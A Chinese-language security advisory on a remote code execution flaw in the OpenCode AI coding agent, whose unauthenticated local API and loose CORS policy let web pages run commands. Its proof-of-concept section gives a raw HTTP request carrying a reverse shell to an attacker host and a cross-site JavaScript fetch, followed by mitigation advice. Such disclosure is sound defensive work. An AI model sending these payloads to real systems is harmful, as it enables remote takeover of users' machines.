OpenCode 远程代码执行漏洞 (CVE-2026-22812)
漏洞告警:OpenCode 远程代码执行漏洞 (CVE-2026-22812)
- 漏洞名称:OpenCode 自动启动未授权 HTTP 服务器导致 RCE
- 漏洞编号:CVE-2026-22812 / QVD-2026-3051
- 影响版本:OpenCode < 1.0.216
- 修复版本:OpenCode 1.0.216 (已修复)
- 风险评级:高危 (CVSS 3.1: 8.8)
OpenCode 是一款流行的开源 AI 编码代理。该漏洞的成因在于其内部架构存在 “默认不安全” 的设计逻辑:
- 未授权 API 服务:软件启动后会默认在本地开启一个 HTTP 端口用于通讯(常见端口为 4096),但该服务没有任何身份验证机制(无 Token,无 API Key)。
- 宽容的 CORS 策略:该本地服务器配置了极其宽松的跨域资源共享(CORS)策略,允许任何域名的网页发起跨域请求。
攻击向量:
- 本地触发:本机任何恶意程序可直接通过该端口执行指令。
- 跨站攻击 (CORS 触发):受害者在运行 OpenCode 时,只需在浏览器中打开攻击者构造的恶意网页,网页中的 JS 脚本即可越权调用本地 API 执行任意系统命令。
| 攻击向量 | 受影响版本 | 状态 | 技术说明 |
|---|---|---|---|
| 任意网站 RCE | < v1.0.216 | 已修复 | 通过宽容的 CORS 策略,恶意网页可跨域执行代码。 |
| 本地进程执行 | < v1.1.10 | 缓解 | 任何本地进程可通过 HTTP 接口执行指令。 |
| 本地网页执行 | < v1.1.10 | 缓解 | 本地 HTML 文件可通过 API 接口触发 RCE。 |
| 服务器模式风险 | 所有版本 | 未修复 | 启用服务器模式后,本地进程 / 网页仍具执行权限。 |
| 隐蔽运行风险 | 所有版本 | 未修复 | 服务器运行时无任何 UI 提示,用户无法感知风险。 |
| mDNS 局域网风险 | 所有版本 | 未修复 | 使用 --mdns 时绑定到 0.0.0.0,局域网内机器可控。 |
| 子域名信任风险 | 所有版本 | 未修复 | *.opencode.ai 下的任何页面均具代码执行权限。 |
| 供应链 / XSS 风险 | 所有版本 | 未修复 | opencode.ai 的 XSS 或域名失陷将导致所有用户受影响。 |
警告:以下内容仅供合规安全自查使用,严禁非法用途。
POC, 仅供技术研究,切勿私自改造为 EXP
1. 核心攻击请求 (HTTP 原始载荷)
攻击者向本地 API 端口发送 POST 请求执行反弹 Shell 指令:
POST /api/execute HTTP/1.1
Host: 127.0.0.1:4096
Content-Type: application/json
Origin: http://evil-attacker.com
{
"command": "bash -i >& /dev/tcp/attacker.com/4444 0>&1"
}
2. 跨站 JavaScript 利用 (Web 侧)
诱导受害者点击后,在后台静默执行的脚本:
fetch("http://127.0.0.1:4096/api/execute", {
method: "POST",
mode: "cors",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({
"command": "calc.exe"
})
});
- 端口监听:立即排查本地系统中是否存在监听 4096 或类似端口的 OpenCode 相关进程。
- 流量审计:
- 关注所有目的地为
127.0.0.1且包含command、execute字段的 POST 请求。 - 重点检查 HTTP 请求头中的
Origin字段是否包含非受信任的外部域名。
- 关注所有目的地为
- 权限检查:确认 OpenCode 是否以 Root 或 Administrator 权限运行,这决定了 RCE 造成的损害级别。
- 强制升级:请确保 OpenCode 升级至 1.0.216 或更高版本。新版本增加了鉴权令牌并收紧了 CORS。
- 防火墙策略:在未升级前,通过系统防火墙(如 iptables 或 Windows Defender)阻断该端口的一切非必要入站流量。
- 安全习惯:在使用本地 AI 代理工具时,避免在同一浏览器 Session 下浏览高风险网站。
报告日期